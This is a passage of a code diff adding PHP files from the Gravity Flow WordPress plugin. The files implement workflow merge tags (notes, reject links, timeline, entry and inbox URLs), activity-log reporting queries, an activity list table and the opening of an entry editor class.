( $step_id != $note['step_id'] || $note['timestamp'] < $step_timestamp || $note['timestamp'] > $step_status_timestamp )
) {
break;
}
if ( $step_id && $step_id != $note['step_id'] ) {
continue;
}
$step_notes[] = $note;
$step_found = true;
if ( is_null( $step_id ) ) {
break;
}
}
return $step_notes;
}
/**
* Retrieve the step id for the specified step name.
*
* @since 1.8.1
*
* @param string $step_name The step name.
*
* @return int|false The step ID or false if not found.
*/
protected function get_step_id_by_name( $step_name ) {
$step_id = false;
if ( is_string( $step_name ) && ! is_numeric( $step_name ) ) {
$step_name = strtolower( $step_name );
$steps = gravity_flow()->get_steps( $this->form['id'] );
foreach ( $steps as $step ) {
if ( strtolower( $step->get_name() ) === $step_name ) {
$step_id = $step->get_id();
break;
}
}
}
return $step_id;
}
/**
* Format a note for output.
*
* @since 1.7.1-dev
*
* @param string $note_value The note value.
* @param string $display_name The note display name.
* @param string $date The note creation date.
*
* @return string
*/
protected function format_note( $note_value, $display_name, $date ) {
$separator = $display_name && $date ? ': ' : '';
return sprintf( "%s%s%s\n%s", $display_name, $separator, $date, $note_value );
}
/**
* Get the assignee display name.
*
* @since 1.7.1-dev
*
* @param string|Gravity_Flow_Assignee $assignee_or_key The assignee key or object.
*
* @return string
*/
protected function get_assignee_display_name( $assignee_or_key ) {
if ( ! $assignee_or_key instanceof Gravity_Flow_Assignee ) {
$assignee = Gravity_Flow_Assignees::create( $assignee_or_key );
} else {
$assignee = $assignee_or_key;
}
return $assignee->get_display_name();
}
}
Gravity_Flow_Merge_Tags::register( new Gravity_Flow_Merge_Tag_Workflow_Note );

View File

@@ -0,0 +1,79 @@
<?php
/**
* Gravity Flow Workflow Reject Token Merge Tag
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Merge_Tag_Workflow_Reject_Token
*
* @since 1.7.1-dev
*/
class Gravity_Flow_Merge_Tag_Workflow_Reject_Token extends Gravity_Flow_Merge_Tag_Assignee_Base {
/**
* The name of the merge tag.
*
* @since 1.7.1-dev
*
* @var string
*/
public $name = 'workflow_reject_token';
/**
* The regular expression to use for the matching.
*
* @since 1.7.1-dev
*
* @var string
*/
protected $regex = '/{workflow_reject_token}/';
/**
* Replace the {workflow_token_link} merge tags.
*
* @since 1.7.1-dev
*
* @param string $text The text being processed.
*
* @return string
*/
public function replace( $text ) {
$matches = $this->get_matches( $text );
if ( ! empty( $matches ) ) {
if ( empty( $this->step ) || empty( $this->assignee ) ) {
foreach ( $matches as $match ) {
$full_tag = $match[0];
$text = str_replace( $full_tag, '', $text );
}
return $text;
}
$token = $this->get_token( 'reject' );
$token = $this->format_value( $token );
$text = str_replace( '{workflow_reject_token}', $token, $text );
}
return $text;
}
protected function get_token_expiration_days() {
return apply_filters( 'gravityflow_approval_token_expiration_days', 2, $this->assignee );
}
}
Gravity_Flow_Merge_Tags::register( new Gravity_Flow_Merge_Tag_Workflow_Reject_Token );

View File

@@ -0,0 +1,93 @@
<?php
/**
* Gravity Flow Workflow Reject Merge Tag
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Merge_Tag_Workflow_Reject
*
* @since 1.7.1-dev
*/
class Gravity_Flow_Merge_Tag_Workflow_Reject extends Gravity_Flow_Merge_Tag_Assignee_Base {
/**
* The name of the merge tag.
*
* @since 1.7.1-dev
*
* @var string
*/
public $name = 'workflow_reject';
/**
* The regular expression to use for the matching.
*
* @since 1.7.1-dev
*
* @var string
*/
protected $regex = '/{workflow_reject_(url|link)(:(.*?))?}/';
/**
* Replace the {workflow_reject_link} and {workflow_reject_url} merge tags.
*
* @since 1.7.1-dev
*
* @param string $text The text being processed.
*
* @return string
*/
public function replace( $text ) {
$matches = $this->get_matches( $text );
if ( ! empty( $matches ) ) {
if ( empty( $this->step ) || empty( $this->assignee ) ) {
foreach ( $matches as $match ) {
$full_tag = $match[0];
$text = str_replace( $full_tag, '', $text );
}
return $text;
}
$reject_token = $this->get_token( 'reject' );
if ( is_array( $matches ) ) {
foreach ( $matches as $match ) {
$full_tag = $match[0];
$type = $match[1];
$options_string = isset( $match[3] ) ? $match[3] : '';
$a = $this->get_attributes( $options_string, array(
'page_id' => gravity_flow()->get_app_setting( 'inbox_page' ),
'text' => esc_html__( 'Reject', 'gravityflow' ),
) );
$url = $this->get_entry_url( $a['page_id'], $reject_token );
$url = esc_url_raw( $url );
$url = $this->format_value( $url );
if ( $type == 'link' ) {
$url = sprintf( '<a href="%s">%s</a>', $url, $a['text'] );
}
$text = str_replace( $full_tag, $url, $text );
}
}
}
return $text;
}
}
Gravity_Flow_Merge_Tags::register( new Gravity_Flow_Merge_Tag_Workflow_Reject );

View File

@@ -0,0 +1,104 @@
<?php
/**
* Gravity Flow Workflow Timeline Merge Tag
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
if ( ! class_exists( 'Gravity_Flow_Merge_Tag_Workflow_Note' ) ) {
require_once( 'class-merge-tag-workflow-note.php' );
}
/**
* Class Gravity_Flow_Merge_Tag_Workflow_Timeline
*
* @since 1.7.1-dev
*/
class Gravity_Flow_Merge_Tag_Workflow_Timeline extends Gravity_Flow_Merge_Tag_Workflow_Note {
/**
* The name of the merge tag.
*
* @since 1.7.1-dev
*
* @var string
*/
public $name = 'workflow_timeline';
/**
* The regular expression to use for the matching.
*
* @since 1.7.1-dev
*
* @var string
*/
protected $regex = '/{workflow_timeline(:(.*?))?}/';
/**
* Replace the {workflow_timeline} merge tags with the entire timeline for the current entry.
*
* @since 1.7.1-dev
*
* @param string $text The text to be processed.
*
* @return string
*/
public function replace( $text ) {
if ( empty( $this->entry ) ) {
return $text;
}
$matches = $this->get_matches( $text );
if ( is_array( $matches ) && isset( $matches[0] ) ) {
$full_tag = $matches[0][0];
$timeline = $this->get_timeline();
$text = str_replace( $full_tag, $this->format_value( $timeline ), $text );
}
return $text;
}
/**
* Get the content which will replace the {workflow_timeline} merge tag.
*
* @since 1.7.1-dev
*
* @return string
*/
protected function get_timeline() {
if ( empty( $this->entry ) ) {
return '';
}
$entry = $this->entry;
$notes = Gravity_Flow_Common::get_timeline_notes( $entry );
if ( empty( $notes ) ) {
return '';
}
$return = array();
foreach ( $notes as $note ) {
$step = Gravity_Flow_Common::get_timeline_note_step( $note );
$name = Gravity_Flow_Common::get_timeline_note_display_name( $note, $step );
$date = Gravity_Flow_Common::format_date( $note->date_created );
$return[] = $this->format_note( $note->value, $name, $date );
}
return implode( "\n\n", $return );
}
}
Gravity_Flow_Merge_Tags::register( new Gravity_Flow_Merge_Tag_Workflow_Timeline );

View File

@@ -0,0 +1,107 @@
<?php
/**
* Gravity Flow Workflow URL Merge Tag
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Merge_Tag_Workflow_Url
*
* @since 1.7.1-dev
*/
class Gravity_Flow_Merge_Tag_Workflow_Url extends Gravity_Flow_Merge_Tag_Assignee_Base {
/**
* The name of the merge tag.
*
* @since 1.7.1-dev
*
* @var string
*/
public $name = 'workflow_url';
/**
* The regular expression to use for the matching.
*
* @since 1.7.1-dev
*
* @var string
*/
protected $regex = '/{workflow_(entry|inbox)_(url|link)(:(.*?))?}/';
/**
* Replace the {workflow_entry_link}, {workflow_entry_url}, {workflow_inbox_link}, and {workflow_inbox_url} merge tags.
*
* @since 1.7.1-dev
*
* @param string $text The text being processed.
*
* @return string
*/
public function replace( $text ) {
$matches = $this->get_matches( $text );
if ( ! empty( $matches ) ) {
foreach ( $matches as $match ) {
$full_tag = $match[0];
$location = $match[1];
$type = $match[2];
$options_string = isset( $match[4] ) ? $match[4] : '';
$a = $this->get_attributes( $options_string, array(
'page_id' => gravity_flow()->get_app_setting( 'inbox_page' ),
'text' => $location == 'inbox' ? esc_html__( 'Inbox', 'gravityflow' ) : esc_html__( 'Entry', 'gravityflow' ),
'token' => false,
) );
$token = $this->get_workflow_url_access_token( $a );
if ( $location == 'inbox' ) {
$url = $this->get_inbox_url( $a['page_id'], $token );
} else {
$url = $this->get_entry_url( $a['page_id'], $token );
}
$url = $this->format_value( $url );
if ( $type == 'link' ) {
$url = sprintf( '<a href="%s">%s</a>', $url, $a['text'] );
}
$text = str_replace( $full_tag, $url, $text );
}
}
return $text;
}
/**
* Get the access token for the workflow_entry_ and workflow_inbox_ merge tags.
*
* @param array $a The merge tag attributes.
*
* @return string
*/
private function get_workflow_url_access_token( $a ) {
$force_token = $a['token'];
$token = '';
if ( $this->assignee && $force_token ) {
$token = $this->get_token();
}
return $token;
}
}
Gravity_Flow_Merge_Tags::register( new Gravity_Flow_Merge_Tag_Workflow_Url );

View File

@@ -0,0 +1,224 @@
<?php
/**
* Gravity Flow Merge Tag
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Merge_Tag
*
* An abstract class used as the base for all merge tags.
*
* @since 1.7.1-dev
*/
abstract class Gravity_Flow_Merge_Tag {
/**
* The name of the merge tag.
*
* @since 1.7.1-dev
*
* @var null
*/
public $name = null;
/**
* The form array.
*
* @since 1.7.1-dev
*
* @var null|array
*/
protected $form = null;
/**
* The Entry array.
*
* @since 1.7.1-dev
*
* @var null|array
*/
protected $entry = null;
/**
* Indicates if the replacement value should be URL encoded.
*
* @since 1.7.1-dev
*
* @var bool
*/
protected $url_encode = false;
/**
* Indicates if HTML found in the replacement value should be escaped.
*
* @since 1.7.1-dev
*
* @var bool
*/
protected $esc_html = true;
/**
* Indicates if newlines should be converted to html <br> tags.
*
* @since 1.7.1-dev
*
* @var bool
*/
protected $nl2br = true;
/**
* Determines how the value should be formatted. HTML or text.
*
* @since 1.7.1-dev
*
* @var string
*/
protected $format = 'html';
/**
* The current step.
*
* @since 1.7.1-dev
*
* @var null|Gravity_Flow_Step
*/
protected $step = null;
/**
* The assignee.
*
* @since 1.7.1-dev
*
* @var null|Gravity_Flow_Assignee
*/
protected $assignee = null;
/**
* The regular expression to use for the matching.
*
* @since 1.7.1-dev
*
* @var string
*/
protected $regex = '';
/**
* Gravity_Flow_Merge_Tag constructor.
*
* @param null|array $args The arguments used to initialize the class.
*/
public function __construct( $args = null ) {
if ( isset( $args['form'] ) ) {
$this->form = $args['form'];
}
if ( isset( $args['entry'] ) ) {
$this->entry = $args['entry'];
}
if ( isset( $args['url_encode'] ) ) {
$this->url_encode = (bool) $args['url_encode'];
}
if ( isset( $args['esc_html'] ) ) {
$this->esc_html = (bool) $args['esc_html'];
}
if ( isset( $args['nl2br'] ) ) {
$this->nl2br = (bool) $args['nl2br'];
}
if ( isset( $args['format'] ) ) {
$this->format = $args['format'];
}
if ( isset( $args['step'] ) ) {
$this->step = $args['step'];
}
if ( isset( $args['assignee'] ) ) {
$this->assignee = $args['assignee'];
}
}
/**
* Get an array of matches for the current merge tags pattern.
*
* @param string $text The text which may contain merge tags to be processed.
*
* @return array
*/
protected function get_matches( $text ) {
$matches = array();
preg_match_all( $this->regex, $text, $matches, PREG_SET_ORDER );
return $matches;
}
/**
* Override this to replace the matches in the supplied text.
*
* @param string $text The text which may contain merge tags to be processed.
*
* @return WP_Error|string
*/
public function replace( $text ) {
return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be over-ridden in subclass." ), __METHOD__ ) );
}
/**
* Retrieve attributes from a string (i.e. merge tag modifiers).
*
* @since 1.7.1-dev
*
* @param string $string The string to retrieve the attributes from.
* @param array $defaults The supported attributes and their defaults.
*
* @return array
*/
public function get_attributes( $string, $defaults = array() ) {
$attributes = shortcode_parse_atts( $string );
if ( empty( $attributes ) ) {
$attributes = array();
}
if ( ! empty( $defaults ) ) {
$attributes = shortcode_atts( $defaults, $attributes );
foreach ( $defaults as $attribute => $default ) {
if ( $default === true ) {
$attributes[ $attribute ] = strtolower( $attributes[ $attribute ] ) == 'false' ? false : true;
} elseif ( $default === false ) {
$attributes[ $attribute ] = strtolower( $attributes[ $attribute ] ) == 'true' ? true : false;
}
}
}
return $attributes;
}
/**
* Formats the value which will replace the merge tag.
*
* @since 1.7.1-dev
*
* @param string $value The value to be formatted.
*
* @return string
*/
protected function format_value( $value ) {
return GFCommon::format_variable_value( $value, $this->url_encode, $this->esc_html, $this->format, $this->nl2br );
}
}

View File

@@ -0,0 +1,91 @@
<?php
/**
* Gravity Flow Merge Tags
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Merge_Tags
*
* @since 1.7.1-dev
*/
class Gravity_Flow_Merge_Tags {
/**
* The merge tag class names.
*
* @var Gravity_Flow_Merge_Tag[]
*/
private static $class_names = array();
/**
* Get an array of registered merge tag class names.
*
* @return Gravity_Flow_Merge_Tag[]
*/
private static function get_class_names() {
return self::$class_names;
}
/**
* Register the supplied merge tag.
*
* @param Gravity_Flow_Merge_Tag $merge_tag The merge tag class.
*
* @throws Exception When the merge tags name property has not been set.
*/
public static function register( $merge_tag ) {
if ( ! is_subclass_of( $merge_tag, 'Gravity_Flow_Merge_Tag' ) ) {
throw new Exception( 'Must be a subclass of Gravity_Flow_Merge_Tag' );
}
$name = $merge_tag->name;
if ( empty( $name ) ) {
throw new Exception( 'The name property must be set' );
}
self::$class_names[ $merge_tag->name ] = get_class( $merge_tag );
}
/**
* Get the specified merge tag class, if available.
*
* @param string $name The merge tag class name.
* @param null|array $args The arguments used to initialize the class.
*
* @return Gravity_Flow_Merge_Tag|false
*/
public static function get( $name, $args ) {
$classes = self::get_class_names();
$merge_tag = false;
if ( isset( $classes[ $name ] ) ) {
$class_name = $classes[ $name ];
$merge_tag = new $class_name( $args );
}
return $merge_tag;
}
/**
* Get an array of registered merge tag classes.
*
* @param null|array $args The arguments used to initialize the class.
*
* @return Gravity_Flow_Merge_Tag[]
*/
public static function get_all( $args ) {
$merge_tags = array();
foreach ( self::get_class_names() as $key => $class_name ) {
$merge_tags[ $key ] = new $class_name( $args );
}
return $merge_tags;
}
}

View File

@@ -0,0 +1,307 @@
<?php
/**
* Gravity Flow Activity
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Activity
*/
class Gravity_Flow_Activity {
/**
* Returns the name of the activity log table.
*
* @return string
*/
public static function get_activity_log_table_name() {
global $wpdb;
return $wpdb->prefix . 'gravityflow_activity_log';
}
/**
* Returns the name of the Gravity Forms leads table.
*
* @return string
*/
public static function get_lead_table_name() {
return GFFormsModel::get_lead_table_name();
}
/**
* Returns the name of the Gravity Forms entries table.
*
* @return string
*/
public static function get_entry_table_name() {
return Gravity_Flow_Common::get_entry_table_name();
}
/**
* Returns the activity log events for the specified objects.
*
* @param int $limit The maximum number of events to retrieve.
* @param array $objects The objects the events should be retrieved for.
*
* @return array|null|object
*/
public static function get_events( $limit = 400, $objects = array( 'workflow', 'step', 'assignee' ) ) {
global $wpdb;
$log_objects_placeholders = array_fill( 0, count( $objects ), '%s' );
$log_objects_in_list = $wpdb->prepare( implode( ', ', $log_objects_placeholders ), $objects );
$activity_table = self::get_activity_log_table_name();
$entry_table = self::get_entry_table_name();
$sql = $wpdb->prepare( "
SELECT * FROM {$activity_table} a
INNER JOIN {$entry_table} l ON a.lead_id = l.id AND l.status = 'active'
WHERE a.log_object IN ( $log_objects_in_list )
ORDER BY a.id DESC LIMIT %d", $limit );
$results = $wpdb->get_results( $sql );
return $results;
}
/**
* Get the activity log data for the given dates for all forms.
*
* @param string $start_date The start date.
* @param string $end_date The end date.
*
* @return array|bool|null|object
*/
public static function get_report_data_for_all_forms( $start_date, $end_date = '' ) {
global $wpdb;
$activity_table = self::get_activity_log_table_name();
$entry_table = self::get_entry_table_name();
$form_ids = self::get_form_ids();
if ( empty( $form_ids ) ) {
return false;
}
$in_str_arr = array_fill( 0, count( $form_ids ), '%d' );
$in_str = join( ',', $in_str_arr );
$form_id_clause = $wpdb->prepare( "AND a.form_id IN ($in_str)", $form_ids );
$sql = $wpdb->prepare( "
SELECT a.form_id, count(a.id) as c, ROUND( AVG(duration) ) as av
FROM {$activity_table} a
INNER JOIN {$entry_table} l ON a.lead_id = l.id AND l.status = 'active'
WHERE a.log_object = 'workflow' AND a.log_event = 'ended'
AND a.date_created >= %s
{$form_id_clause}
GROUP BY a.form_id", $start_date );
$results = $wpdb->get_results( $sql );
return $results;
}
/**
* Get the activity log data for the given dates for the specified form.
*
* @param int $form_id The form ID.
* @param string $start_date The start date.
* @param string $end_date The end date.
*
* @return array|null|object
*/
public static function get_report_data_for_form( $form_id, $start_date, $end_date = '' ) {
global $wpdb;
$activity_table = self::get_activity_log_table_name();
$entry_table = self::get_entry_table_name();
$sql = $wpdb->prepare( "
SELECT MONTH(a.date_created) as month, count(a.id) as c, ROUND( AVG(a.duration) ) as av
FROM {$activity_table} a
INNER JOIN {$entry_table} l ON a.lead_id = l.id AND l.status = 'active'
WHERE log_object = 'workflow' AND log_event = 'ended'
AND a.form_id = %d
AND a.date_created >= %s
GROUP BY YEAR(a.date_created), MONTH(a.date_created)", $form_id, $start_date );
$results = $wpdb->get_results( $sql );
return $results;
}
/**
* Get the activity log data for the given dates for the specified form grouped by step id.
*
* @param int $form_id The form ID.
* @param string $start_date The start date.
* @param string $end_date The end date.
*
* @return array|null|object
*/
public static function get_report_data_for_form_by_step( $form_id, $start_date, $end_date = '' ) {
global $wpdb;
$activity_table = self::get_activity_log_table_name();
$entry_table = self::get_entry_table_name();
$sql = $wpdb->prepare( "
SELECT a.feed_id, count(a.id) as c, ROUND( AVG(a.duration) ) as av
FROM {$activity_table} a
INNER JOIN {$entry_table} l ON a.lead_id = l.id AND l.status = 'active'
WHERE log_object = 'step' AND log_event = 'ended'
AND a.form_id = %d
AND a.date_created >= %s
GROUP BY a.feed_id", $form_id, $start_date );
$results = $wpdb->get_results( $sql );
return $results;
}
/**
* Get the activity log data for the given dates for the specified step grouped by assignee.
*
* @param int $step_id The step ID.
* @param string $start_date The start date.
* @param string $end_date The end date.
*
* @return array|null|object
*/
public static function get_report_data_for_step_by_assignee( $step_id, $start_date, $end_date = '' ) {
global $wpdb;
$activity_table = self::get_activity_log_table_name();
$entry_table = self::get_entry_table_name();
$sql = $wpdb->prepare( "
SELECT a.assignee_id, a.assignee_type, count(a.id) as c, ROUND( AVG(a.duration) ) as av
FROM {$activity_table} a
INNER JOIN {$entry_table} l ON a.lead_id = l.id AND l.status = 'active'
WHERE log_object = 'assignee' AND log_event = 'status' AND log_value NOT IN ('pending', 'removed')
AND a.feed_id = %d
AND a.date_created >= %s
GROUP BY a.assignee_id, a.assignee_type", $step_id, $start_date );
$results = $wpdb->get_results( $sql );
return $results;
}
/**
* Get the activity log data for the given dates for the specified form grouped by the assignee.
*
* @param int $form_id The form ID.
* @param string $start_date The start date.
* @param string $end_date The end date.
*
* @return array|null|object
*/
public static function get_report_data_for_form_by_assignee( $form_id, $start_date, $end_date = '' ) {
global $wpdb;
$activity_table = self::get_activity_log_table_name();
$entry_table = self::get_entry_table_name();
$sql = $wpdb->prepare( "
SELECT a.assignee_id, a.assignee_type, count(a.id) as c, ROUND( AVG(a.duration) ) as av
FROM {$activity_table} a
INNER JOIN {$entry_table} l ON a.lead_id = l.id AND l.status = 'active'
WHERE a.log_object = 'assignee' AND a.log_event = 'status' AND a.log_value NOT IN ('pending', 'removed')
AND a.form_id = %d
AND a.date_created >= %s
GROUP BY a.assignee_id, a.assignee_type", $form_id, $start_date );
$results = $wpdb->get_results( $sql );
return $results;
}
/**
* Get the activity log data for the given dates for all forms grouped by assignee.
*
* @param string $start_date The start date.
* @param string $end_date The end date.
*
* @return array|bool|null|object
*/
public static function get_report_data_for_all_forms_by_assignee( $start_date, $end_date = '' ) {
global $wpdb;
$activity_table = self::get_activity_log_table_name();
$entry_table = self::get_entry_table_name();
$sql = $wpdb->prepare( "
SELECT a.assignee_id, a.assignee_type, count(a.id) as c, ROUND( AVG(a.duration) ) as av
FROM {$activity_table} a
INNER JOIN {$entry_table} l ON a.lead_id = l.id AND l.status = 'active'
WHERE a.log_object = 'assignee' AND a.log_event = 'status' AND log_value NOT IN ('pending', 'removed')
AND a.date_created >= %s
GROUP BY a.assignee_id, a.assignee_type", $start_date );
$results = $wpdb->get_results( $sql );
return $results;
}
/**
* Get the activity log data for the given dates and assignee for all forms.
*
* @param string $assignee_type The assignee type.
* @param string $assignee_id The assignee ID.
* @param string $start_date The start date.
* @param string $end_date The end date.
*
* @return array|bool|null|object
*/
public static function get_report_data_for_assignee_by_month( $assignee_type, $assignee_id, $start_date, $end_date = '' ) {
global $wpdb;
$activity_table = self::get_activity_log_table_name();
$lead_table = self::get_lead_table_name();
$form_ids = self::get_form_ids();
if ( empty( $form_ids ) ) {
return false;
}
$in_str_arr = array_fill( 0, count( $form_ids ), '%d' );
$in_str = join( ',', $in_str_arr );
$form_id_clause = $wpdb->prepare( "AND a.form_id IN ($in_str)", $form_ids );
$sql = $wpdb->prepare( "
SELECT YEAR(a.date_created) as year, MONTH(a.date_created) as month, count(a.id) as c, ROUND( AVG(a.duration) ) as av
FROM {$activity_table} a
INNER JOIN {$lead_table} l ON a.lead_id = l.id AND l.status = 'active'
WHERE a.log_object = 'assignee' AND a.log_event = 'status' AND a.log_value NOT IN ('pending', 'removed')
AND a.assignee_type = %s AND a.assignee_id = %s
AND a.date_created >= %s
{$form_id_clause}
GROUP BY YEAR(a.date_created), MONTH(a.date_created)", $assignee_type, $assignee_id, $start_date );
$results = $wpdb->get_results( $sql );
return $results;
}
/**
* Get an array of form IDs which have workflows.
*
* @return array
*/
public static function get_form_ids() {
return gravity_flow()->get_workflow_form_ids();
}
}

View File

@@ -0,0 +1,177 @@
<?php
/**
* Gravity Flow Activity List
*
* @package GravityFlow
* @subpackage Classes/Gravity_Flow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Activity_List
*
* @since 1.0
*/
class Gravity_Flow_Activity_List {
/**
* Displays the activity list.
*
* @param array $args The page arguments.
*/
public static function display( $args ) {
$defaults = array(
'check_permissions' => true,
'detail_base_url' => admin_url( 'admin.php?page=gravityflow-inbox&view=entry' ),
);
$args = array_merge( $defaults, $args );
if ( $args['check_permissions'] && ! GFAPI::current_user_can_any( 'gravityflow_activity' ) ) {
esc_html_e( "You don't have permission to view this page", 'gravityflow' );
return;
}
/**
*
* @since 2.0.2
*
* Allows the limit for events to be modified before events are displayed on the activity page.
*
* @param int $limit The limit of events.
*/
$limit = (int) apply_filters( 'gravityflow_event_limit_activity_page', 400 );
$events = Gravity_Flow_Activity::get_events( $limit );
if ( sizeof( $events ) > 0 ) {
?>
<table id="gravityflow-activity" class="widefat" cellspacing="0" style="border:0px;">
<thead>
<tr>
<th data-label="<?php esc_html_e( 'Event ID', 'gravityflow' ); ?>"><?php esc_html_e( 'Event ID', 'gravityflow' ); ?></th>
<th><?php esc_html_e( 'Date', 'gravityflow' ); ?></th>
<th><?php esc_html_e( 'Form', 'gravityflow' ); ?></th>
<th><?php esc_html_e( 'Entry ID', 'gravityflow' ); ?></th>
<th><?php esc_html_e( 'Type', 'gravityflow' ); ?></th>
<th><?php esc_html_e( 'Event', 'gravityflow' ); ?></th>
<th><?php esc_html_e( 'Step', 'gravityflow' ); ?></th>
<th><?php esc_html_e( 'Duration', 'gravityflow' ); ?></th>
</tr>
</thead>
<tbody class="list:user user-list">
<?php
foreach ( $events as $event ) {
$form = GFAPI::get_form( $event->form_id );
$base_url = $args['detail_base_url'];
$url_entry = $base_url . sprintf( '&id=%d&lid=%d', $event->form_id, $event->lead_id );
$url_entry = esc_url_raw( $url_entry );
$link = "<a href='%s'>%s</a>";
?>
<tr>
<td data-label="<?php esc_html_e( 'ID', 'gravityflow' ); ?>">
<?php
echo esc_html( $event->id );
?>
</td>
<td data-label="<?php esc_html_e( 'Date', 'gravityflow' ); ?>">
<?php
echo esc_html( GFCommon::format_date( $event->date_created ) );
?>
</td>
<td data-label="<?php esc_html_e( 'Form', 'gravityflow' ); ?>">
<?php
printf( $link, $url_entry, $form['title'] );
?>
</td>
<td data-label="<?php esc_html_e( 'Entry ID', 'gravityflow' ); ?>">
<?php
printf( $link, $url_entry, $event->lead_id );
?>
</td>
<td data-label="<?php esc_html_e( 'Type', 'gravityflow' ); ?>">
<?php
echo esc_html( $event->log_object );
?>
</td>
<td data-label="<?php esc_html_e( 'Event', 'gravityflow' ); ?>">
<?php
switch ( $event->log_object ) {
case 'workflow' :
echo $event->log_event;
break;
case 'step' :
echo esc_html( $event->log_event );
break;
case 'assignee' :
echo esc_html( $event->display_name ) . ' <i class="fa fa-arrow-right"></i> ' . esc_html( $event->log_value );
break;
default :
echo esc_html( $event->log_value );
}
?>
</td>
<td data-label="<?php esc_html_e( 'Step', 'gravityflow' ); ?>">
<?php
if ( $event->feed_id ) {
$step = gravity_flow()->get_step( $event->feed_id );
if ( $step ) {
$step_name = $step->get_name();
echo esc_html( $step_name );
}
}
?>
</td>
<td data-label="<?php esc_html_e( 'Event', 'gravityflow' ); ?>">
<?php
if ( ! empty( $event->duration ) ) {
echo self::format_duration( $event->duration );
}
?>
</td>
</tr>
<?php
}
?>
</tbody>
</table>
<?php
} else {
?>
<div id="gravityflow-no-activity-container">
<div id="gravityflow-no-activity-content">
<i class="fa fa-spinner fa-pulse fa-3x fa-fw"></i>
<br /><br />
<?php esc_html_e( 'Waiting for workflow activity', 'gravityflow' ); ?>
</div>
</div>
<?php
}
}
/**
* Formats the duration for display.
*
* @param int $seconds The event duration.
*
* @return string
*/
public static function format_duration( $seconds ) {
return gravity_flow()->format_duration( $seconds );
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,844 @@
<?php
/**
* Gravity Flow Entry Editor
*
* @package GravityFlow
* @subpackage Classes/Gravity_Flow_Entry_Editor
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
* @since 1.2.0.30
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Entry_Editor
*/
class Gravity_Flow_Entry_Editor {
/**
* The Gravity Forms form array.
*
* @var array
*/
public $form;
/**
* The Gravity Forms Entry array.
*
* @var array
*/
public $entry;
/**
* The current step.
*
* @var Gravity_Flow_Step $step
*/
public $step;
/**
* Used to help determine whether to display the order summary.
*
* @var bool
*/
public $has_product_fields = false;
/**
* Flag set in the constructor to control the visibility of empty fields.
*
* @var bool
*/
public $display_empty_fields;
/**
* Indicates if dynamic conditional logic is enabled.
*
* @var bool
*/
private $_is_dynamic_conditional_logic_enabled;
/**
* An array of field IDs which the user can edit.
*
* @var array
*/
private $_editable_fields;
/**
* An array of field IDs of display fields.
*
* @var array
*/
private $_display_fields = array();
/**
* An array of field IDs required for use with calculations.
*
* @since 1.7.1-dev
*
* @var array
*/
private $_calculation_dependencies = array();
/**
* The content to be displayed for the display fields.
*
* @var array
*/
private $_non_editable_field_content = array();
/**
* The init scripts to be deregistered.
*
* @var array
*/
private $_non_editable_field_script_names = array();
/**
* The Form Object after the non-editable and non-display fields have been removed.
*
* @var array
*/
private $_modified_form;
/**
* Used to help determine whether the gform_product_total script should be output for the coupon field.
*
* @var bool
*/
private $_has_editable_product_field = false;
/**
* Gravity_Flow_Entry_Editor constructor.
*
* @param array $form The current form.
* @param array $entry The current entry.
* @param Gravity_Flow_Step $step The current step.
* @param bool $display_empty_fields Indicates if empty fields should be displayed.
*/
public function __construct( $form, $entry, $step, $display_empty_fields ) {
$this->form = $form;
$this->entry = $entry;
$this->step = $step;
$this->display_empty_fields = $display_empty_fields;
$this->_is_dynamic_conditional_logic_enabled = $this->is_dynamic_conditional_logic_enabled();
$this->_editable_fields = $step->get_editable_fields();
}
/**
* Renders the form. Uses GFFormDisplay::get_form() to display the fields.
*/
public function render_edit_form() {
$this->add_hooks();
// Impersonate front-end form.
unset( $_GET['page'] );
require_once( GFCommon::get_base_path() . '/form_display.php' );
$html = GFFormDisplay::get_form( $this->form['id'], false, false, true, $this->entry );
$this->remove_hooks();
echo $html;
}
/**
* Add the filters and actions required to modify the form markup for this step.
*/
public function add_hooks() {
add_filter( 'gform_pre_render', array( $this, 'filter_gform_pre_render' ), 999 );
add_filter( 'gform_submit_button', '__return_empty_string' );
add_filter( 'gform_disable_view_counter', '__return_true' );
add_filter( 'gform_field_input', array( $this, 'filter_gform_field_input' ), 10, 2 );
add_filter( 'gform_form_tag', '__return_empty_string' );
add_filter( 'gform_get_form_filter', array( $this, 'filter_gform_get_form_filter' ) );
add_filter( 'gform_field_container', array( $this, 'filter_gform_field_container' ), 10, 2 );
add_filter( 'gform_has_conditional_logic', array( $this, 'filter_gform_has_conditional_logic' ), 10, 2 );
